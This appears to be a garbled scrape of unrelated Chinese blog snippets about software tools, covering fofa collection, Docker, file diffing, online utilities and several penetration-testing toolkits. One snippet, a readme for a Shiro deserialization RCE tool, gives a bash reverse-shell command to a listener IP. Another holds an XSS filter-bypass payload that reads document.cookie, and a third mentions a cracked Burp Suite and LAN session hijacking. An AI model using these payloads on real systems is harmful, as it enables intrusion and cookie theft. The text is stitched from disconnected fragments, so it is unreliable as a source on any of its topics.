本工具来自公众号bgbing安全 工具github地址: https://github.com/bgbing/bgbingfofa 以下为bgbing安全原文: 前言:今天闲来无事,想写一个fofa采集工具 ,好用并且容易操作的工具,于是就有了bgbingfofa工具 写到后面发现自己的正则匹配并不熟悉,于是联系了刘念大佬 大佬二话不说,直接就把代码甩我脸上 然后再次请教大佬 从这一段,你们就能知道我的技术有多菜 当然最后工具还是做出来了 使用例子 如何使用?
前言 我个人是把编程作为一个工具来使用的,解决问题的工具,锻炼思维的工具,创作的工具。 如果你是想要利用编程去解决问题,那么这个投入产出比可能就会有点低,实际上应该已经有很多工具能够解决你对问题了(因为你能想到的,碰到的问题,其他人也会),因为需求在那里,更多的时候我们只是找不到这样的工具或者说不知道上哪去找 现在我会克制一些自己的好奇心,对自己当前没有多大帮助的,会尽量少花时间去研究,转而寻找现有的工具,避免重复造轮子,编程作为我的备用技能。 下面是我用的部分工具,分享给大家。 ,矩阵布局各种工具类网站,查看了流量,每个工具基本上都做到前几,nb。 翻译工具 https://www.deepl.com/translator 离线工具系列 Everything-文件搜索 https://www.voidtools.com/ window文件搜索工具,
在当今数字化时代,人工智能(AI)技术的应用已经深入到我们生活的方方面面,从提高工作效率到增强生活质量,AI 工具的影响力不容小觑。 根据最新的市场研究和用户评价,以下是一些最受欢迎的 AI 工具,它们在不同领域展现出了卓越的性能和广泛的应用前景。 1. 讯飞星火 讯飞星火是科大讯飞出品的 AI 聊天工具,以其先进的语音识别技术和智能对话能力,为用户提供了便捷的服务。 这些 AI 工具不仅在技术上取得了显著的进步,而且在实际应用中也展现出了巨大的潜力。它们正在改变我们的工作方式、学习方式和生活方式,为社会带来了深远的影响。 随着 AI 技术的不断进步,未来这些工具的应用范围和影响力将会进一步扩大。
内容简介 本次推送,将分享一个坐标转换工具,可以方便的将数据在GCJ-02与WGS84之间进行转换,读完本文,你就会得到它。工具的获取方式,会在文末告知。 工具简介 参数介绍 如上图所示工具界面非常清爽,共有三个参数,下面将对工具的三个参数进行简单的介绍。 待转换图层 本参数为工具输入参数,用户可以在这里选择要进行坐标转换的数据。 wgs2gc 这是工具的第二种转换模式,使用这种模式,可以将无偏移的数据,转换到gcj-02坐标,是个加偏移的过程! 以上,就是本工具的三个参数。 打开工具,设置如下图所示: 可以看到工具比较快的就完成了转换 再把工具处理后的数据上个图,可以看到,四个点都落在了正确的位置! 工具获取方式 后台回复关键字【0701】可获取工具下载方式,以及文中转换所用的样例数据!
❝介绍两个在线工具库网站。 ❞ 在线编程工具库 地址: https://123.w3cschool.cn/webtools 下图为该网站截图: 在线工具库 地址: https://tool.lu/ 下图为该网站截图: 一些工具 在线运行代码: https://tool.lu/coderunner/ 正则测试工具: https://www.w3cschool.cn/tools/index? name=excel_col2json MD5在线加密工具 https://www.w3cschool.cn/tools/index? name=CreateMD5Password 大写转数字工具 https://www.w3cschool.cn/tools/index?
作者:三十三重天 博客:zhouhuibo.club 通过学习和分享的过程,将自己工作中的问题和技术总结输出,希望菜鸟和老鸟都能通过自己的文章收获新的知识,并付诸实施。 创造狮 创意工作者导航。 导航 END 关注公众号 程序员工具集 ?? 致力于分享优秀的开源项目、学习资源 、常用工具 回复关键词“关注礼包”,送你一份最全的程序员技能图谱。
Docker 社区已经创建了许多开源工具,它们所能帮你处理的用例甚至会超出你的想象。 你可以在网上找到很多酷炫的 Docker 工具,其中大部分是开源的,都可以在 Github 上找到。 Docker 社区非常活跃,每天都会出现许多有用的工具,时时关注社区中发生的所有创新是很困难的。 为了帮助你,我收集了一些我在日常工作中使用的又有趣又实用的 Docker 工具,这些工具提升了我的工作效率,减少了原本需要手工完成的工作。 ctop 是一个简单的工具,对于了解在你的主机上运行的容器很有帮助。 你在日常工作中使用 Docker 工具吗?希望这些工具能够为你带来帮助,也欢迎在评论中推荐你觉得有用的工具。 - END -
之前给学员培训时整理的工具包,分享一下。 工具均从网络上收集,请大家尊重工具原作者,如需二次开发或用作商业用途,请联系工具原作者。 仅限学习使用,如用作非法用途后果自负。 Burpsuite官网 实用功能 代理抓包 爬虫 爆破工具 改包发包 编码解码 支持插件 0x03 Sqlmap 自动化sql注入工具。 0x14 Stegpy 图片音频隐写工具,支持PNG、BMP、GIF、WebP、WAV。 0x23 Jphs05 图片隐写工具。 0x29 BlindWaterMark 盲水印工具。
0x00 前言 最近在做shiro反序列化漏洞复现,从网上也找了一堆复现文章和工具,但是这些工具用着都不太舒服,于是参考网上大佬们的工具,自己进行了一些简单的改良。 0x01 工具安装 本工具需要 Python3 和 Java 环境,下载本工具后,将文件解压,在本项目目录下运行下面的命令,安装Python第三方库即可。 /teamssix/shiro-check-rce/releases/ 国内下载地址:https://gitee.com/teamssix/shiro-check-rce/releases 0x02 工具介绍 -i >& /dev/tcp/{your_nc_ip}/{your_nc_port} 0>&1 示例:bash -i >& /dev/tcp/192.168.175.152/9527 0>&1 本工具会对输入命令进行识别
与其他扫描仪不同,它考虑了Web应用程序的动态特性, 可以检测在通过 Web 应用程序的路径时引起的更改 复杂度,并能够相应地自我调整。这样,攻击/输入 原本无法被非人类检测到的载体可以无缝处理。
下一阶段,我也会在这里和大家分享我的学习笔记。 移动端web调式工具分享 前提: 你是不是有时会因为在 Chrome 或是 Firebug 上调式 web 的时候都能遇到什么 bug,然后放到真机上跑一下 bug 成堆冒出来,然后调式又发现不了问题, 今天我们就介绍一下关于移动端的调式工具。 远程调试工具weinre使用教程 一:关于weinre weinre就是一款依赖于nodejs的远程调试工具 二:weinre的安装 步骤一:安装nodejs以及npm(因为weinre是运行在nodejs OK,现在我们来看看怎么使用这个“很黄很暴力”的工具吧!
1、WinMerge WinMerge是一款运行于Windows系统下的文件比较和合并工具,使用它可以非常方便地比较多个文档内容,适合程序员或者经常需要撰写文稿的朋友使用。 支持常见的版本控制工具,包括 CVS、subversion、git、mercurial 等,你可以通过 Diffuse 直接从版本控制系统获取源代码,以便对其进行比较和合并。 4、Altova DiffDog 是一款用于文件、目录、数据库模式与表格对比与合并的使用工具。 这个强大易用的对比/合并工具可以让你通过其直观的可视化界面快速比较和合并文本或源代码文件,同步目录以及比较数据库模式与表格。DiffDog还提供了先进XML的差分和编辑功能。 5、AptDiff AptDiff是一个文件比较工具,可以对文本和二进制文件进行比较和合并,适用于软件开发、网络设计和其它的专业领域。
前言 平时自己偶然会根据需要写点小工具,但是一直没上传到我的Github上(其实是因为太懒),今天把一些自己平时使用比较频繁的一些小工具上传到我的Github上,有问题的可以反馈,有喜欢的可以给个Star ,在这里分享出来。 写在最后 上面这些工具由于主要是平时自己使用,因此写的比较粗糙。各位大佬在使用过程中,如果碰到Bug,可以在Github上进行反馈。 除了上述工具外,还有一些工具因为存在的Bug比较多、误报率较高而没有上传到我的Github上,后期等成熟的时候,会一一上传上去。 如果上面的工具有帮助到你,欢迎给个star或Github的关注,最后祝各位大佬HW顺利。
断言是一个逻辑判断,用于检查不应该发生的情况 Assert 关键字在 JDK1.4 中引入,可通过 JVM 参数-enableassertions开启 SpringBoot 中提供了 Assert 断言工具类 identityToString(Object obj) // 相当于 toString()方法,但参数为 null 时,返回字符串:"" String getDisplayString(Object obj) 判断工具 0 Collection: Collection.isEmpty() Map: Map.isEmpty() */ boolean isEmpty(Object obj) 其他工具方法 index, CharSequence substring) // 计算一个字符串中指定子串的出现次数 int countOccurrencesOf(String str, String sub) 字符串操作工具 ) // 以指定字符作为分隔符,获取其最后一部分 String unqualify(String qualifiedName, char separator) CollectionUtils 集合判断工具
背景 一般工作中会有我想把某个文件分享给别人,但是又不想直接发给对方,因此需要一个中转站,我把文件上传到这个中转站,然后中转站给我一个可以查看的url,我再把url发给要查看的人。 或者是想把一个文件分享给别人但是由于操作系统不同或者使用的文件编辑器不同而导致展示上有一些差异。 那么这个项目的目的就是为了解决这种需求。 目前工作中我会把临时的接口文档写好,然后生成一个url分享给前端或者客户端,并且我这边是可以随时更新。
本文转载自:微信公众号『CodeSheep』 便利工具和网站分享 在线画图工具 首先就是画图工具,我想了一下,程序员经常接触的无非也就是流程图、思维导图、原型图、UML 图、网络拓扑图、组织结构图等等这些 以我个人的情况为例,日常开发经常会用到一些辅助工具我总结为 8 大类,包括:编解码工具、转换工具、正则工具、编译工具、网络工具、格式化工具、可视化工具、在线生成器、以及其他工具等等。 具体列表如下。 / 正则表达式工具 正则表达式调试工具:https://regexr.com/ 正则表达式可视化工具:https://jex.im/regulex/ 网络工具 IP 地址归属地查询:https://www.ip138 在我写文章的过程中经常会用到和写作相关的辅助工具,比方说:字数统计工具、Markdown 格式的文章排版工具、图床网站、代码截图工具等等,所以下面这些在线工具就能很好地满足我的需求。 ,经常用到的比如:在线的全套 pdf 处理和转换工具、各种各样多媒体文件间的相互转换工具、在线识别工具、在线压缩工具等等。
github.com/c0ny1/vulstudy 使用docker就可以免除自己搭建环境的各种坑,但是我的建议是多折腾,自己环境,多踩坑 Docker虽好,可不要太依赖它哦 红队公益计划-悬剑单兵武器库发布 工具 虚拟机中的攻击性工具大部分搜集于网上,部分是定制开发,我们严禁将工具软件拷出虚拟机;如有违反,后果自负。 下载本软件请在24小时内删除,禁止恶意利用、传播,切勿非法用途。 Burpsuite2.1破解版 Burp Suite是进行Web应用安全测试的一个集成平台,无缝融合各种安全工具并提供全面的接口适配,支持完整的Web应用测试流程,从最初的映射和应用程序的攻击面分析到发现和利用安全漏洞等领域均适用
github.com/masatokinugawa/filterbypass/wiki/Browser%27s-XSS-Filter-Bypass-Cheat-Sheet
逆向工程开发者的思维
CSP
CSP审查工具 Src=OnXSS OnError=confirm(document.cookie)>
Imperva HTMLi
工具和资源
小白使用的黑客工具工具,可以扫描,渗透,扫描,破解,攻击,篡改,会话劫持同一局域网设备。功能很多,重在技术和使用环境。能创造意想不到的效果。 cSploit作为dSploit的继任者,是一个安卓网络分析和渗透工具套装并专为IT安全专家和极客提供了最完整和最高级的套件来在移动设备上进行网络安全评估。 BusyBox小插件需要安装打开后等待读条完毕后安装核心文件之后就可以使用cSploit工具了。 sCploit
举例: 一:板边距离 如曾经使用DFM工具分析板边距离发现gerber资料的GND层偏离,从而避免等制板厂发现再重新修改,节省了修改的时间点,所以是很推荐硬件工程师自检下layout给到手的gerber